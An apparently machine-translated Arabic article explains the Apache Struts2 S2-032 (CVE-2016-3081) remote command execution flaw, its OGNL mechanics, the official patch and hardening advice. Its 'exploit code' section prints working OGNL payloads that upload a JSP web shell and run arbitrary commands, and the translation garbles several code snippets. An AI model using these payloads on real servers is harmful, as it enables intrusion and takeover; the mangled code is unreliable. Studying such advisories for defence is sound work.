في 26 أبريل 2016 ، أصدرت Apache Struts2 رسميًا إعلانًا أمنيًا آخر: يمكن لخدمة Apache Struts2 تنفيذ أي أوامر عن بُعد عند استدعاء طريقة الدولة وتبدأ. الرقم الرسمي هو S2-032 ورقم CVE هو CVE-2016-3081. هذا هو أن ثغرة الأمنية الواسعة للخدمة قد انفجرت بعد أربع سنوات منذ اندلاع ضعف تنفيذ قيادة Struts2 في عام 2012. هذا الضعف هو أيضًا أخطر الضعف الأمني الذي تم تعرضه هذا العام. يمكن للمتسللين استخدام هذه الثغرة الأمنية لأداء العمليات عن بُعد على خوادم المؤسسات ، مما يؤدي إلى تهديدات أمنية كبيرة مثل تسرب البيانات ، واتهام المضيف عن بُعد ، واختراق إنترانت ، وما إلى ذلك.
بعد حدوث ضعف ، كان حدثًا جماعيًا آخر للشركات الأمنية والشركات ذات الصلة. كان مستغلو الضعف يستخدمون هذه الضعف قدر الإمكان لإظهار مستواه الرائع ؛ أصدرت منصات الاختبارات العامة المختلفة شركات تم القبض عليها لتعزيز دور المنصة ؛ استفادت شركات الأمن الكبرى أيضًا من هذه الثغرة الأمنية لزيادة تأثير الشركة ، والاستفادة من التسويق ، والاكتشاف المجاني ، والترقية في أقرب وقت ممكن ، وما إلى ذلك. لا يزال هناك الكثير من المصنّعين المكتئب ، ولم أسأل أي شخص وأفشل مع أي شخص ؛ ثم يتعين على عدد كبير من موظفي التطوير والعمليات الاكتئاب ترقية بقع الضعف بين عشية وضحاها.
ومع ذلك ، فإن مبدأ نقاط الضعف يؤثر على الحماية ونادراً ما يتم ذكر عوامل أخرى. هذه المقالة تدور حول طرح آرائك الخاصة حول النقاط المذكورة أعلاه.
مبدأ
يستخدم هذا الضعف التنفيذ الديناميكي لـ struts2 لـ ognl للوصول إلى أي رمز Java. باستخدام هذا الضعف ، يمكنك مسح صفحات الويب عن بُعد لتحديد ما إذا كان هناك مثل هذا الضعف ، ثم إرسال تعليمات ضارة ، وتنفيذ تحميلات الملفات ، وتنفيذ الأوامر الأصلية والهجمات اللاحقة الأخرى.
ognl هو اختصار لغة التنقل في الكائن ، واسمها الكامل هو لغة التنقل في الرسم البياني للكائن. إنها لغة تعبير قوية. من خلال بناء الجملة البسيط والمتسق ، يمكنه الوصول إلى خصائص الكائن أو استدعاء أساليب الكائن حسب الرغبة ، ويمكن أن يعبر مخطط بنية الكائن بأكمله وإدراك تحويل أنواع سمات الكائن والوظائف الأخرى.
غالبًا ما تظهر رموز المائة و $ في تعبيرات ognl
1. هناك بشكل عام ثلاثة استخدامات من الرموز #.
الوصول إلى خصائص الكائن غير الجذرية ، مثل التعبير #session.msg ، نظرًا لأن المكدس المتوسط STRUTS 2 يعتبر ككائن جذر ، فأنت بحاجة إلى البادئة عند الوصول إلى كائنات أخرى غير الجذر ؛ يتم استخدامه لتصفية مجموعات ومشروع (عرض) ، مثل الأشخاص. {؟#this.age> 25} ، الأشخاص. {؟#this.name == 'pla1'}. يتم استخدامه لإنشاء خرائط ، مثل #{'foo1': 'Bar1' ، 'Foo2': 'Bar2'} في المثال.
2. ٪ رمز
الغرض من رمز ٪ هو حساب قيمة تعبير ognl عندما تكون سمة العلم نوع سلسلة. هذا مشابه لـ Eval in JS وهو عنيف للغاية.
3. رمز $ له استخدامان رئيسيان.
في ملف الموارد الدولي ، راجع تعبيرات ognl ، مثل الكود في ملف المورد الدولي: reg.agerange = معلومات المورد الدولي: يجب أن يكون العمر بين $ {min} و $ {max} ؛ ارجع إلى تعبيرات ognl في ملف التكوين لإطار STRUTS 2.
عملية استخدام الكود
1. طلب العميل
http: // {websiteip.webapp}: {portnum}/{vul.action}؟ method = {malcmdstr}
2. دالة DefaultActionProxy DefaultActionProxy تتولى الطلبات.
DefaultAction ProtectionProxy (ActionInvocation inv ، مساحة اسم السلسلة ، string actionName ، سلسلة methodname ، executeresult المنطقية ، cleanupcontext boolean) {this.invocation = inv ؛ this.cleanupContext = cleanupContext ؛ log.debug ("إنشاء defaultActionProxy لمساحة الاسم [{}] واسم الإجراء [{}]" ، مساحة الاسم ، ActionName) ؛ this.actionName = stringescapeutils.escapehtml4 (ActionName) ؛ this.namespace = مساحة الاسم ؛ this.executeresult = executeresult ؛ //يمكن للمشاركين تجاوزه من خلال تمرير متغير ، وملء بناء الجملة ، والهروب من الأحرف وطرق أخرى. this.method = stringescapeutils.escapeecmascript (stringescapeutils.escapehtml4 (methodName)) ؛}3.
string name = key.substring (action_prefix.length ()) ؛ if (leftDynamicMethodCalls) {int bang = name.indexof ('!') ؛ if (bang! = -1) {// get method name name method = cleanupactionName (name.subString (bang + 1)) ؛ mapping.setMethod (method) ؛ name = name.substring (0 ، bang) ؛ }}4. استدعاء طريقة الاستدعاء في التصميم الافتراضي لتنفيذ الطريقة التي تم تمريرها.
سلسلة محمية vokeactation (إجراء الكائن ، ActionConfig ActionConfig) يلقي الاستثناء {String methodName = proxy.getMethod () ؛ log.debug ("تنفيذ طريقة الإجراء = {}" ، methodName) ؛ String timerKey = "InvokeAction:" + proxy.getActionName () ؛ حاول {uTiltimerStack.push (timerKey) ؛ الكائن MethodResult ؛ حاول {// تنفيذ طريقة methodResult = ognluTil.getValue (methodName + "()" ، getStack (). getContext () ، الإجراء) ؛ } catch (MethodFailedException e) {حل
الحل الرسمي هو إضافة التحقق في وظيفة cleanupactionName في الخطوة 3.
pattern pattern legtactionnames = pattern.compile ("[[a-za-z0-9 ._! if (المسموح بها ams.matcher (RawActionName) .Matches ()) {return RawActionName ؛ } آخر {if (log.iswarnenabled ()) {log.warn ("الإجراء/الطريقة [#0] لا يتطابق مع نمط أسماء الإجراء المسموح به [#1] ، تنظيفه!" ، RawActionName ، المسموح به) ؛ } String CleanActionName = RawActionName ؛ لـ (string chunk: pleasedActionNames.split (RawActionName)) {cleanActionName = CleanActionName.replace (chunk ، "") ؛ } if (log.isdebugenabled ()) {log.debug ("اسم التنظيف/اسم الطريقة [#0]" ، cleanActionName) ؛ } إرجاع CleanActionName ؛ }}اقتراحات إصلاح
1. تعطيل مكالمات الطريقة الديناميكية
قم بتعديل ملف التكوين من Struts2 وضبط قيمة "Struts.enable.dynamicmethodinvocation" إلى خطأ ، على سبيل المثال:
<STONTONTNAME = "struts.enable.dynamicmethodinvocation" value = "false"/> ؛
2. ترقية إصدار البرنامج
نسخة الدعامات الترقية إلى 2.3.20.2 أو 2.3.24.2 أو 2.3.28.1
عنوان التصحيح: https://struts.apache.org/download.cgi#struts23281
رمز استغلال
1. قم بتحميل الملف:
الطريقة: ٪ 23_memberAccess ٪ [البريد الإلكتروني] [email protected] [/البريد الإلكتروني]@default_member_access ، ٪ 23req ٪ 3d ٪ 40org.apache.structs2 res ٪ 3d ٪ 40org.apache.structs2.ServleTactionContext ٪ 40getResponse () ، ٪ 23res.Setcharacterencoding (٪ 23Parameters.encoding [0]) ، ٪ 23w ٪ 3d 23res.getWriter () ، ٪ 23pat H ٪ 3d ٪ 23req.getRealPath (٪ 23parameters.pp [0]) ، New ٪ 20Java.io.bufferedWriter (New ٪ 20Java.io.filewRiter (٪ 23Path ٪ 2B 2B 23Parameters.ShellName [0]). التقيد (٪ 23param eters.shellcontent [0])). Close () ، ٪ 23w.print (٪ 23path) ، ٪ 23w.close () ، 1؟ ٪ 23xx: ٪ 23Request.ToString & shellname = Stest.jsp & shellcontent = ttt & pp = utf-8 & pp = ٪ 2f
يبدو الرمز أعلاه غير مريح بعض الشيء ، دعنا نحوله ونلقي نظرة.
الطريقة: #_ memberAccess [email protected]@default_member_access ،#req = org.apache.structs2 ervletactionContext@getResponse () ،#res.setcharacterencoding (#parameters.encoding [0]) ،#w =#res.getWriter () ،#path =#req.getRealPath (#parameters.pp [0]) ، جديد java.io.bufferedWriter (جديد java.io.filewRiter (#path+#parameters.shellname [0]). إلحاق (#parameters.shellContent [0])).
2. تنفيذ الأوامر المحلية:
الطريقة: ٪ 23_memberaccess ٪ [email protected]@default_member_access ، ٪ 23res ٪ 3d ٪ 40org.apache.structs2.servletactionContext ٪ 40getRespo NSE () ، ٪ 23res.Setcharacterencoding (٪ 23Parameters.encoding [0]) ، ٪ 23w ٪ 3d 23res.getWriter () ، ٪ 23s ٪ 3dnew+java.util.scanner (@java.lang.run time@getRuntime (). exec (٪ 23parameters.cmd [0]). التالي () ٪ 3a ٪ 23parameters.ppp [0] ، ٪ 23w.print (٪ 23str) ، ٪ 23w.close () ، 1؟ ٪ 23xx: ٪ 23Request.ToString & cmd = whami & pp = // a & pp = ٪ 20 & encoding = utf-8
دعونا نلقي الاعتناء بالتحويل
الطريقة: #_ memberAccess [#parameters.name1 [0]] = true ،#_ memberAccess [#parameters.name [0]] = true ،#_ memberAccess [#parameters.name2 [0]] = {} ،#_ memberAccess [#paramete rs.name3 [0]] = {} ،#res = org.apache.structs2.servletactionContext@getResponse () ،#res.setcharacterencoding (#parameters.encoding [0]) ،#w#d#d#res.getWriter () ،#s = new java.util.scanner (@java.lang.runtime@getRuntime (). exec (#parameters.cmd [0]) int (#str) ،#w.close () ، 1؟ #xx:#request.toString & name = levtaticMethodAccess & name1 = allowprivateaccess & name2 = excludedPackagenEpatterns & name3 = exctedclasses & cmd = whami & pp =/pp = & encoding = utf-8من خلال المقدمة السابقة ، وجدت أنه من السهل نسبيًا فهمه بعد التحويل.
كيفية منع
هناك مبدأ مهم للغاية في الأمن ، وهو مبدأ الأذونات الأقل. يشير ما يسمى بالامتياز الأقل إلى "الامتيازات الضرورية لكل مدير (المستخدم أو العملية) في الشبكة عند إكمال عملية معينة." مبدأ الحد الأدنى للامتياز يعني أن "الحد الأدنى للامتيازات التي يجب أن يقتصر كل كيان في الشبكة على ضمان الحوادث المحتملة والأخطاء والعبث في مكونات الشبكة والخسائر الأخرى."
على سبيل المثال ، إذا لم يتم استخدام مكالمات الطريقة الديناميكية في النظام ، فسيتم إزالتها أثناء النشر ، بحيث حتى إذا لم يتم إطلاق التصحيح ، فلن يتم استخدامه.
واحدة من أهم الأضرار في هذا النظام هي تنفيذ العمليات المحلية ، والتي يمكن تعطيلها أيضًا إذا لم ينفذ النظام محليًا.
دعنا نلقي نظرة على الرمز الذي ينفذ الأوامر المحلية في كود Java ، ProcessImpl في ProcessImpl.
Private ProcessImpl (String CMD [] ، Final String Envblock ، مسار السلسلة النهائية ، Final Long [] stdhandles ، RedirecterRorStream النهائي المنطقي) يلقي IoException {String cmdstr ؛ SecurityManager Security = System.GetSecurityManager () ؛ Boolean يتيح sambigigurouncommands = false ؛ if (security == null) {allowambiGUULOUSOMMANDS = true ؛ // قام JDK بتحديد معلمات لتحديد ما إذا كان يمكن تنفيذ العمليات المحلية. قيمة السلسلة = system.getProperty ("jdk.lang.process.allowambigigurowSmands") ؛ إذا (القيمة! = null) allowambiGUBUAWONDS =! "false" .equalsignorecase (value) ؛ } if (almoveambiguuleCommands) {عندما تبدأ Java ، أضف المعلمة -djdk.lang.process.allowambigousCommands = false ، حتى لا تنفذ Java العمليات المحلية.
إذا تمكنت من إيقاف تشغيل المحتوى غير الضروري مقدمًا عند نشر النظام ، فيمكن تقليل أو إزالة ضرر هذا الضعف.